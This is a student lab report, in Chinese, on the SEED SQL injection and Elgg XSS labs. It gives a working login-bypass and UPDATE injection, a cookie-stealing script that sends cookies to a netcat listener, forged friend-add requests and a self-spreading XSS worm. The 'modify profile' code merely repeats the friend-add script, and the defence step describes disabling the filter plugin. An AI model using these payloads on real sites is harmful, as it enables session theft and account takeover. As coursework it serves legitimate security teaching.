20212919 2021-2022-2 《网络攻防实践》实践十报告
20212919 2021-2022-2 《网络攻防实践》实践十报告
1.实践内容
1.1Web应用程序体系结构:
结构组成包括浏览器、Web服务器、数据库、Web应用程序、数据层、传输协议HTTP/HTTPS。
- 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
- Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
- 数据库:Web应用存储数据的地方。
- Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构
表示层:接受Web客户端的输入并显示结果。
业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
数据层:以数据库或本地文件的形式,提供非易失的信息存储。 - 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议, HTTP协议默认使用TCP80端口,该协议采用统一资源标识符URI对各种资源进行统一定义采用请求/响应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
1.2Web应用攻击:
Web 攻击两种模式:
- 主动攻击,即攻击者通过 Web 应用直接将攻击代码传入,例如 SQL 注入、OS 命令注入
- 被动攻击,即攻击者利用陷阱的方式执行攻击代码,例如 XSS、CSRF
Web 攻击路线:Web应用信息收集、攻击Web服务器软件、攻击Web应用程序、攻击Web数据内容、本地攻击
Web 攻击防御措施:如果是一些脚本注入或者 SQL 注入之类的,需要做的就是针对一些非法的输入进行限制或者转义。而对于一些和 HTTP 报文相关的,需要利用请求报文或者响应报文来判断,例如 CSRF 请求伪造,就可以通过报文中的 referer 进行校验,又或者和 cookie 相关的,可以对cookie 的域名限制和设置 HttpOnly 等等。
1.3SQL注入攻击:
定义:
SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。
SQL注入攻击形式:
SQL注入式攻击的主要形式有两种。
- 一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。
- 二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。
SQL注入过程:注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。
1.4 XSS跨站脚本攻击:
XSS 定义:XSS 是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。
XSS 攻击目的:盗走客户端cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。
XSS 漏洞存在原因:Web 应用程序的技术基础是由 HTTP和 HTML 组成的。HTTP 协议是 HTML 的传输机制,可使用代码设计 Web 页面布局和生成页面。如果 Web 应用程序接受用户通过 HTTP 请求(如 GET 或 POST)提交的输入信息,然后使用输出 HTML 代码在某些地方显示这些信息,便可能存在 XSS 漏洞。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
熟悉SQL语句过程:
输入mysql -u root -p登录mysql,-u为用户名,-p使用密码登录,输入密码是seedubuntu。后输入show databases;查看数据库中的库。
输入use Users;指定使用users库,输入show tables;并查看具体的表。
输入select * from credential;打印员工信息可以看到每个人的名字,工资情况,手机号等信息。
输入select * from credential where Name='Alice';可以查到Alice所有信息。
对SELECT语句的SQL注入攻击过程:
打开浏览器输入网页http://www.seedlabsqlinjection.com显示为登录界面。
在cd /var/www/SQLInjection下输入vi unsafe_home.php查看代码。
下拉可以看到如果我们输入用户名admin'#不输入密码,那么就可以直接登录了。因为#代表注释,#之后的内容不再进行查询。
检验我们的想法,只输入用户名为admin’#,不输入密码,实现在不知道密码情况下登录web应用程序。
登录进入后界面如下,登录成功,可以看到Web应用存在SQL输入漏洞。
终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'也可以成功登录。
对UPDATE语句的SQL注入攻击过程:
在前个实验成功登录web的基础上,点击edit profile对信息进行修改,在NickName中输入', salary='317' where name='Admin';#。
在上一个命令行中输入:q退出,并输入vi unsafe_edit_backend.php查看其原代码,找到带有update的一行,因为输入的是#所以email以后的语句会被注释掉不被执行。
回到web程序点击save可以看到Admin的salary已经被改为317,即实现成功注入SQL攻击。
SQL对抗过程:修复上述SQL注入攻击漏洞
上述漏洞存在代码数据未进行区分,导致搞混,所以可在home的源代码中,把select语句改为$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");$sql->bind_param("ss", $input_uname, $hashed_pwd);
如果有必要,再次输入cd /var/www/SQLInjection下输入vi unsafe_home.php进行编辑
(在root权限下)直接delete,点击esc后输入:wq保存退出。
再用admin’#已经进不去了。
2.2 SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
发布恶意消息,显示警报窗口过程:
登录www.xsslabelgg.com网站,再登录Alice账户,密码为seedalice。
点击小头像右边名称Alice进入个人页面,点击头像下方的edit profile,写入。
划到最下方后点击save显示如下界面,显示xss攻击成功。
弹窗显示cookie信息过程:
将代码换为显示当前网页的cookie信息。
点击save,显示如下界面,即获得想要的cookie信息。
窃取受害者的cookies过程:
再次修改alice的代码为
<script>document.write('< img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script><details>
设置一个端口5555即可。
终端输入nc -l 5555 -v进行监听,然后回去网站。
登录body(密码seedboby)点击more,members找到Alice,查看其主页。
回到终端获取alice的cookie。
成为受害者的朋友过程:
登录Alice账号,同样操作访问boby界面,点击Ctrl+Shift+E打开network界面,随后添加boby为朋友。添加后看到Request URL显示http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652893097&__elgg_token=XVRx5V_S79BR68q3QpjjUA&__elgg_ts=1652893097&__elgg_token=XVRx5V_S79BR68q3QpjjUA。
登录Alice界面首先点击about me 中的edit html
之后将以下代码输入alice的about me中。
点击查看代码
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
保存之后再登录boby,此时boby还没有朋友。
查看Alice界面,之后返回主界面与alice已经是朋友了。
修改受害者的信息过程:
继续登录Alice账号,将之前的代码删掉。
点击edit html将以下代码输入alice的about me中。
点击查看代码
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
保存后退出登录,登入boby账号,再次访问Alice后回到主页发现攻击成功。
编写XSS蠕虫过程:
继续登录Alice账号,将之前的代码删掉。
点击edit html将以下代码输入alice的about me中。
点击查看代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
保存后显示如下界面
保存后退出登录,登入boby账号,再次访问Alice后回到主页发现boby成功被感染。
对抗XSS攻击过程:
Elgg自身包含对抗XSS攻击的插件,登录admin密码为seedelgg。
点击Account—Administration—plugins,进去后点击关闭HTMLawed。此插件主要是对用户的输入输出进行校验并且去除特定标签。
再次访问Alice的profile发现不会被感染。
3.学习中遇到的问题及解决
- 问题1:代码粘贴进Alice的about me中攻击不成功。
- 问题1解决方案:使用edit HTML模式即可。
- 问题2:虚拟机连不上网。
- 问题2解决方案:设置为NAT模式即可。
4.实践总结
此次试验学习了两种攻击模式一种是主动攻击模式实现通过 Web 应用直接将攻击代码传入,完成了 SQL 注入攻击。还有被动攻击,利用陷阱的方式执行攻击代码,完成了 XSS攻击,对两种攻击的原理和过程有了更深入的理解,此次试验也看到了对代码掌握的不足,以后还要加强相关方面的学习。